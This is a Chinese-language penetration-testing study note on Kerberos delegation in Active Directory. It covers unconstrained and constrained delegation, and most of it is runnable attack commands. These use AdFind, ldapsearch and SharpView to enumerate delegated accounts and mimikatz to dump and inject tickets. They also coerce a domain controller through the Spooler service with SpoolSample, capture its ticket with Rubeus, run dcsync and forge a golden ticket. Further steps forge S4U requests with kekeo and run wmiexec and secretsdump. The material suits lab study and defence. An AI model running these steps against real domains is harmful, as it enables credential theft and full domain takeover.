域渗透 知识姿势学习 一
Kerberos委派攻击
域委派
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)不过不是重点,下文会分别学习一下非约束委派和约束委派这两种方法的利用
为什么需要域委派
为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:
用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。
域委派流程
一个域内普通用户jack通过Kerberos
协议认证到前台WEB服务后,前台运行 WEB服务的服务账号websvc
模拟(Impersonate)用户 jack,以Kerberos
协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中单跳或者多跳的Kerberos
认证。
流程
- 域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器;
- Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
- KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据 TGT;
- websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据ST;
- KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据 ST;
- websvc收到的jack用户的授权票据ST后,可访问文件服务,完成多跳认证。
域委派的用户
在域内的可以委派的账户有两种一种是主机账(Net Computer另一种是用 setspn手动添加的服务账户(Net User),不管是非约束还是约束的例子是以主机账户举例,因为用主机账户来委派的环境好搭并且便于理解,不过服务账户和主机账户从攻击委派这个视角来看是等价的。
简单来说,服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server
在安装时,会在域内自动注册服务账号SqlServiceAccount
,这类账号不能用于交互式登录,也就是说无法通过SqlServiceAccount
来通过3389进行rdp登录
委派类型
前文已经提到,域内委派主要有3种应用方式:
一是非约束性委派(Unconstrained Delegation),服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务
二是约束性委派(Constrained Delegation),即Kerberos的扩展协议 S4U2Proxy
,服务账号只能获取某用户的ST,从而只能模拟用户访问特定的服务
委派原理学习
非约束性委派的原理是:用户想访问服务A,于是向KDC提交认证,KDC发现A是非约束性委派,会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A,服务A就相当于获得了用户的TGT,把TGT放入lsass
进程,然后就可以拿着用户的TGT以用户的身份去访问该用户权限能够访问的服务了。
- 当服务账号或者主机被设置为
非约束性委派
时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
- 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含
TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo属性会包含被约束的服务
发现域中委派的用户或计算机一般使用的手段是通过LDAP协议然后通过userAccountControl
属性筛选出符合的用户或计算机,我们可以通过ADSI来编辑和修改LDAP,adsiedit.msc可以打开ADSI编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl属性
包含了TRUSTED_FOR_DELEGATION
在这里我本地Win Server 2013的域环境中无法设置非约束委派,因此借用其他大佬的图
然后我们再看一下约束委派的用户,同样它的userAccountControl
属性包含了TRUSTED_TO_AUTH_FOR_DELEGATION,但是它比非约束委派的用户多了一个msDS-AllowedToDelegateTo属性
,里面包含了允许委派的服务
委派用户查找
非约束委派用户查找
Adfind
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查询非约束委派的主机
AdFind.exe -b "DC=de1ay.com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
注意域控主机账户默认开启非约束委派,因此在本地环境查询能得到一个非约束主机,也就是域控DC
查询非约束委派的用户
AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
值得注意的是域控主机账户默认为非约束委派用户,但是使用AdFind并没有查到该非约束委派用户,原因不详
ldapsearch
Kali自带,适合在域外查询,需要域内任意用户的账号密码
查找域中配置非约束委派的主机
在kali中可以这样使用
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
或者这样查询:
ldapsearch -LLL -x -H ldap://172.16.147.130:389 -D "win7user@pentest.com" -w "123456bY" -b dc=pentest,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
可以看到非约束委派的主机共有4台
查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
Powerview
查询配置非约束委派的用户:Get-NetUser -Unconstrained -Domain pentest.com
查询配置非约束委派的主机:Get-domaincomputer -Unconstrained -Domain pentest.com
也可以是用.NET
版本的Powerview的替代SharpView
,使用说明如下:
#注意这里和ldapsearch一样同样需要域用户的密码,可用于域外查询
SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential admin@test.local/password
#具体使用可以参考https://github.com/tevora-threat/SharpView
得到delay域用户的objectsid
SharpView.exe Get-DomainUser -Domain delay.com -Server DC的IP -Credential delay@delay.com/password -Identity -Propertites name,objectsid
这里可以查看用户或者主机的信息(包括useraccountcontrol字段)来查看用户的委派权限以及是否为约束委派或者资源委派及非约束委派等:
#查看资源委派 ms-ds-creatorsid字段代表
SharpView.exe Get-DomainUser -Domain delay.com -Server 10.10.10.10 -Credential delay@delay.com/1qaz@WSX -LADPFilter (ms-ds-creatorsid=*) -Porperties name,ms-ds-creatorsid
可以看到仅有域控用户为非约束委派用户
非约束委派攻击
当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT
发送给service1并保存在内存中以备下次重用,然后service1就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务),如果这里的user是域管理员用户,那么我们便能够得到该用户的TGT
在dump票据前可以清除内存中的票据,mimikatz下:
kerberos::purge
在非约束委派机,或者以非约束委派用户登录情况下,查看票据:privilege::debug sekualsa::tickets
域管理员用户的TGT被截获,我们用sekurlas::tickets /export
把票据导出来
可以看到
[0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
即为域管理administrator的TGT
此时我们访问域控是被拒绝的:
然后通过ptt将TGT注入到当前会话中:
mimikatz kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
注入成功后在重新访问域控
注:如果想执行命令,可以使用WinRM服务来远程连接域控服务器:
Enter-PSSession -ComputerName DC
-ComputerName指定主机名
如果WinRM服务端口改了的话,可以用-Port指定WinRM端口,默认是5985
注:
Windows Server 2012及以上
默认是开启WinRM服务的,Windows Server 2008 R2
需要winrm quickconfig -q来启动WinRM服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的
非约束性委派配合 Spooler打印机服务
在实战中,只是单纯的非约束委派话需要管理员主动连接比较鸡肋。因此可以利用非约束委派 + Spooler打印机服务可以强制指定的主机进行连接。
利用原理:利用Windows打印系统远程协议 (MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了 Spooler 服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。
注:splooer服务是默认运行的
向域控主机DC的Spooler服务发送请求,强制其访问PC进行身份验证
SpoolSample.exe DC PC
我们可以用Rubeus
来监听Event ID为4624事件
,这样可以第一时间截取到域控的TGT
每隔一秒监听一次来自DC的登陆(需要本地管理员权限)
Rubeus.exe monitor /interval:1 /filteruser:DC$
注:Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中
Rubeus.exe ptt /ticket:base64
本地没有成功,这里记录一下其他大佬的截图过程:
使用Rebus监听完成后可以看到:
得到TGT之后,我们用ptt将票据注入到当前会话后,可以用dcsync导出域控中所有用户的hash,然后用krbtgt用户的hash生成黄金票据
kerberos::ptt [0;862bdd]-2-0-60a10000-DM2012$@krbtgt-TEST.LOCAL.kirbi
lsadump::dcsync /domain:test.local /all /csv
既然存在krbtgt用户,并且有该用户的hash或者NTML值,可以用它生成黄金票据
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt
执行命令可以用
WinRM
服务来远程连接域控
Enter-PSSession -ComputerName dm2012
约束委派攻击
由于非约束委派的不安全性,微软在windows server 2003
中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)
和Service for User to Proxy (S4U2proxy)
,这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。
S4U2Self和S4U2proxy
的请求过程(图来自微软手册):
其中步骤1-4代表
S4U2Self
请求的过程,步骤5-10代表S4U2proxy
的请求过程
流程描述
-
用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。
-
通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
-
KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
-
service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
-
用户向service1发出请求,service1需要以用户身份访问service2上的资源。
-
service1以用户的名义向KDC请求用户访问service2的ST2
-
如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
-
service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
-
service2响应步骤8的请求。
-
service1响应用户对步骤5中的请求。
约束委派查询
Adfind
查询约束委派的主机:
AdFind.exe -b "DC=delay,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
这里还是借用其他师傅的图:
查询约束委派的用户:
AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
ldapsearch
查询约束委派的机器:
ldapsearch -LLL -x -H ldap://IP:389 -D "user@pentest.com" -w "123456" -b dc=pentest,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询约束委派的用户:
ldapsearch -LLL -x -H ldap://IP:389 -D "user@pentest.com" -w "123456" -b dc=pentest,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
约束委派攻击手段
已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务ST,只能用模拟用户访问特定的服务,是无法获取用户的TGT的,如果能够获得到开启了约束委派的服务的用户的明文密码或者hash
就可以伪造S4U
的请求,进而伪造服务用户以任意账户的权限访问服务的ST。
先抓出主机账户的 NTLM Hash 值:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
如果拥有服务用户登录的主机权限,可以用 mimikatz 直接从内存中把服务用户的 TGT dump 出来,可以跳过申请 TGT 这个步骤,直接用mimikatz导出TGT
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
如果没有服务用户的TGT,在已知该用户密码明文的情况下,则我们可以通过kekeo
请求该用户的TGT:
tgt::ask /user:mssql /domain:de1ay.com /password:1qaz@WSX /ticket:test.kirbi
参数:
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略
然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问指定主机服务的ST
#kekeo
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com
S4U2Self获取到的ST1以及S4U2Proxy获取到的指定主机
CIFS
服务的ST2会保存在当前目录下然后我们用mimikatz将ST2导入当前会话即可:
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi
接前文如果拥有服务用户登录的主机权限,使用mimikatz将服务用户的TGT从内存中dump出来后,便可以直接进行tgs::s4u
操作
tgs::s4u /tgt:[0;196b1e4]-2-0-60a00000-qiyou@krbtgt-QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com
同样S4U2Proxy也会获取指定服务的ST,这样我们使用Mimikatz将ST导入当前会话,同样可以访问该主机:
在Windows中一般使用wmi进行命令的执行
wmiexec.exe -no-pass -k administrator@WIN-QFPHJSM1L7G.qiyou.com -dc-ip 192.168.141.145
伪造黄金票据后可以使用impact组件中的
secretsdump.exe
导出域控上所有用户以及主机的hash
secretsdump.exe -no-pass -k WIN-QFPHJSM1L7G.qiyou.com
基于资源委派攻击手段会放在后续进行说明和填补.....